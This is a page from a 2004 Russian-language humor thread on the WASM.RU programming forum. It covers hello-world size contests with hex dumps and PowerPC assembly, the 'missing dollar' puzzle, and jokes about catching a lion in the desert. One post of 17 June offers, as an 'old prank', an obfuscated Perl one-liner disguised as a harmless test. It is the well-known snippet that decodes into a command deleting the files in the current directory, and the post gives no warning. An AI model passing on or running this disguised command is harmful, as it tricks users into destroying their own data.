· Начало · Отвђтить · Статистика · Поиск · FAQ · Правила · Установки · Язык · Выход · WASM.RU · Noir.Ru ·

 WASM Phorum —› WASM.HEAP —› Улыбнитесь! :-)

<< . 1 . 2 . 3 . 4 . 5 . 6 . >>

Посл.отвђт Сообщенiе


Дата: Июн 15, 2004 14:51:59

S_T_A_S_
MsgBox"Hello World"
На python-е: print"Hello World"

COM файл, выполненный по правилам - на 2 байта больше:
B409BA0901CD21CD2048656C6C6F20576F726C6424

Вообще-то на 1: int 20h -> retn

Еще поменьше: echo Hello World
И пусть кто-нить скажет, что это не программа %-)

А вообще, минимальная программа, выводящая избитую фразу, это EB80 (2 байта), только ей параметры в командной строке нужны :-)


Дата: Июн 16, 2004 03:44:33

    На python-е: print"Hello World"
Хех. Я ж не только печатные символы считаю.
В первом случае файл = 19 байт. А в python сколько будет?

ЗЫ
Ну.. батник %)


Дата: Июн 16, 2004 13:39:15

-------------------------------------------------
ЗАДАЧКА ДНЯ
-------------------------------------------------

Три женщины решили купить чайник, который стоит 30 долларов, и
скинулись по 10 долларов. Потом менеджер узнал, где чайник стоит 25
долларов, купил его, получил из кассы 5 долларов и решил отдать их
женщинам. Но как поделить 5 на 3? Поэтому он каждой женщине отдал по 1
доллару (всего получается 3), а себе взял 2.
Итак, каждая женщина получила обратно по 1 доллару. То есть вместо 10
потратила 9 долларов. Во сколько обошелся чайник женщинам?...
Правильно, в 9х3 = 27 долларов. К ним прибавляем 2 доллара, которые
менеджер положил себе в карман (за сообразительность). Получается 29.
Вопрос: где тридцатый доллар?
(эта задачка задается в отделе кадров в "Русском алюминии" при приеме
на работу).


Дата: Июн 16, 2004 13:47:35

bogrus
Считать надо с другой стороны.
В итоге женщины дали менеджеру 3*9=27 долларов, он купил чайник за 25, оставшиеся 2 положил в карман.

ps Саянский Алюминиевый завод в 15 км от меня, но на работу я туда не устраивался.


Дата: Июн 16, 2004 22:28:43

27 потратили женщины (как бы яблоки) + 2 положил в карман менеджер (как бы огурцы), "Получается 29" - а чего 29? Неявно подразумевается "потратили", т.е. яблок. Точнее на это "подразумевание" наводится жертва.
Складывать яблоки с огурцами и получать в результате яблоки не рекомендуется уже в 1-м классе или 2-м...

www.andrenalin.ru, больше всего понравились "легенды СССР", и вообще.


Дата: Июн 16, 2004 22:38:44

Так они же потратили 25 на чайник и им отдали 3 доллара .. тоесть всего 28 ... а откудава 27 ... че получаеться менеджер 3 вместо двух захапал


Дата: Июн 16, 2004 22:54:12

Вот некоторые ответы из сети :

  • Женщины на чайник потратили:
    30$ - 2$ = 28$, т.е. каждая потратила 28$ / 3 = 9,3333333333....
    Вот это самое 0,3333333.... при умножении на 3 и даёт недостающий доллар...

  • А конечное распределение средств такое:
    1) менедежр 2$
    2) тетки 3$
    3) магазин 25$
    и сразу понятно что из этой системы деньги никуда не делись
    Короче вопрос "где 30-ый доллар - не корректен".

  • 30 долларов - общая сумма при условии, что взнос с одной женщины равен 10 долларам. Т.к. условия поменялись, то есть каждая дама внесла по 9 долларов, то общая сумма составляет 27 долларов и число 30 вообще теряет право фигурировать в задаче, следовательно вопрос "где 30-ый доллар?" неправомерен. Из 27 долларов - 25 на чайник и 2 менеджеру на чай. Это не логическая задача.


Дата: Июн 17, 2004 00:39:01

Стаааааарый-старый прикол:)
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Хуже перла лучше нет:)


Дата: Июн 17, 2004 00:41:02

S_T_A_S_
Хех. Я ж не только печатные символы считаю.
В первом случае файл = 19 байт. А в python сколько будет?

18


Дата: Июн 17, 2004 00:48:56

взято здесь
Лев ходит по пустыне. В свое время физики предложили свою подборку методов решения задачи о поимке льва в пустыне и помещении его в клетку. А как решают ту же задачу различные деятели эпохи информационных технологий?

Программист на Паскале.
Просматривает пустыню полным перебором. Обнаружив льва, строит вокруг
него клетку.

Продвинутый программист на Паскале.
Сортирует пустыню по возрастанию, после чего ищет льва двоичным поиском и строит вокруг него клетку. Если в процессе строительства лев уходит, бросает работу с криком "Rаngе Сhесk Еrrоr".

Программист на Си.
Ищет в пустыне камень и помещает его в клетку. Присваивает камню значение "лев".

Продвинутый программист на Си.
Присваивает пустыне значение "клетка".

Программист на Си++.
Проектирует клетку таким образом, чтобы лев был ее составной частью. При инициализации клетки лев автоматически генерируется внутри.

Программист на Аде.
Говорит, что лев и клетка - это объекты разных типов, и нечего морочить ему голову некорректными задачами.

Программист на Дельфи.
Пишет во все конференции: "Народ, где взять компонент, который ищет в пустыне льва и помещает его в клетку?".

Железячник.
Покупает в зоопарке львицу, делает ей операцию по смене пола и долго пытается запихнуть ее в клетку для канарейки.

Геймер-асtiоn`ер.
Вооружается супершотганом, плазмаганом, рэйлганом, нэйлганом, шестиствольным пулеметом и бензопилой. Прочесывает пустыню, разнося все на своем пути. Ищет среди убитых льва и пытается обнаружить у него в животе желтый ключ. Если находит, отпирает им клетку и ждет награды.

Геймер-квестовик.
Ищет по всей пустыне льва, находит, кладет в карман. Затем ищет по всей пустыне клетку, попутно пытаясь засунуть льва в чайник, башмак, телевизор, ведро с краской и другие попадающиеся на пути емкости.

Геймер-стратег.
Поднимает по всей пустыне налоги, чтобы получить деньги на строительство клетки и охотничьих юнитов. К моменту окончания строительства все львы дохнут от голода.

Пользователь интернета.
Заходит в свой любимый поисковик, пишет в строке Sеаrсh "пустыня", ищет в найденном "лев в клетке". Если не находит, говорит, что задача неразрешима.

Вебмастер.
Заходит в свой любимый поисковик и пишет в строке Sеаrсh "пустыня + лев". Создает документ клетка.html и прописывает в нем ссылку на найденное.

Спамер.
Рассылает по всей пустыне множество клеток, к каждой из которых привязана бумажка: "Если вы лев, пожалуйста, зайдите внутрь и закройтесь изнутри".

Троянщик.
Делает то же, что и спамер, но вместо бумажки снаружи вешает внутри клетки картинку с голой львицей.

Админ.
Выкапывает вокруг клетки ров, заполняет его концентрированной кислотой, устанавливает вдоль берега противотанковые ежи и противопехотные мины, все это опутывает колючей проволокой. К проволоке и прутьям клетки подключает провода от генератора высокого напряжения. Вешает на клетку 10 кодовых и 12 амбарных замков. Заходит внутрь, запирается на все замки, пускает ток, ключи проглатывает, коды забывает и говорит, что теперь ему никакой лев не страшен.

Хакер.
Нейтрализует кислоту щелочью, перекусывает проволоку, проползает под ежами, перепрыгивает с шестом через мины, отключает ток, взламывает замки и входит в клетку. Не обнаружив внутри льва, матерится с досады, дает пинка админу и уходит обратно в пустыню.


Дата: Июн 17, 2004 08:04:30

Anonimka

Да, ваша правда. Пришлось ставить linux и проверять.
Но откуда-то у меня незабываемые воспоминания о том, что *nix'ы добавляют какой-то байт в конец файла.


Дата: Июн 17, 2004 09:21:44

Вот: долго ржать и улыбаться прийдется. :)
ужасно много про ламерство!
http://www.microlab-speaker.ru/story.php?allstory+&s=3&d=1


Дата: Июн 17, 2004 09:42:35 · Поправил: Shift

S_T_A_S_
Этот байт - 0A - перевод строки, обозначаемый часто LF.Что насчёт добавляют - если его убрать, будут(если будут - демон может ругнуться на конфиг без LF, а может и нет) просто ворнинги,что нет пустой строки в конце.Достаточно давно никсоиды гордились тем, что в винде - 2 байта 0A0D (CR&LF), а в никсах -только один 0A (LF). В MacOS(скорее всего до X версии, т.к. X - Unix-like) было 0D (CR). Насчёт добавляют никсы - если файло создано юзером - там он решает, будет у него последний LF, или нет.Данные особенности характерны только для текстовых файлов(скрипты,конфиги etc).

Можно ещё так: файл test:
echo Hello World
затем делаем chmod +x test - по умолчанию врубит для исполнения этого файла sh. Размер - 16 байт :)
6563686F2048656C6C6F20576F726C64


Дата: Июн 17, 2004 09:51:46

Как занять программиста [смотри ниже]
Как занять программиста [смотри выше]


Дата: Июн 17, 2004 10:54:46 · Поправил: Shift

а ещё можно так:)
.data
.cstring
.align 2
LC0:
.ascii "hello, world!\12\0"
.text
.align 2
.globl _main
_main:
mflr r0
stmw r30,-8(r1)
stw r0,8(r1)
stwu r1,-80(r1)
mr r30,r1
bcl 20,31,L1$pb
L1$pb:
mflr r31
addis r3,r31,ha16(LC0-L1$pb)
la r3,lo16(LC0-L1$pb)(r3)
bl L_printf$stub
li r0,0
mr r3,r0
lwz r1,0(r1)
lwz r0,8(r1)
mtlr r0
lmw r30,-8(r1)
blr


или так:)
.data
.picsymbol_stub
L_printf$stub:
.indirect_symbol _printf
mflr r0
bcl 20,31,L0$_printf
L0$_printf:
mflr r11
addis r11,r11,ha16(L_printf$lazy_ptr-L0$_printf)
mtlr r0
lwz r12,lo16(L_printf$lazy_ptr-L0$_printf)(r11)
mtctr r12
addi r11,r11,lo16(L_printf$lazy_ptr-L0$_printf)
bctr
.data
.lazy_symbol_pointer
L_printf$lazy_ptr:
.indirect_symbol _printf
.long dyld_stub_binding_helper

<< . 1 . 2 . 3 . 4 . 5 . 6 . >>


Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.072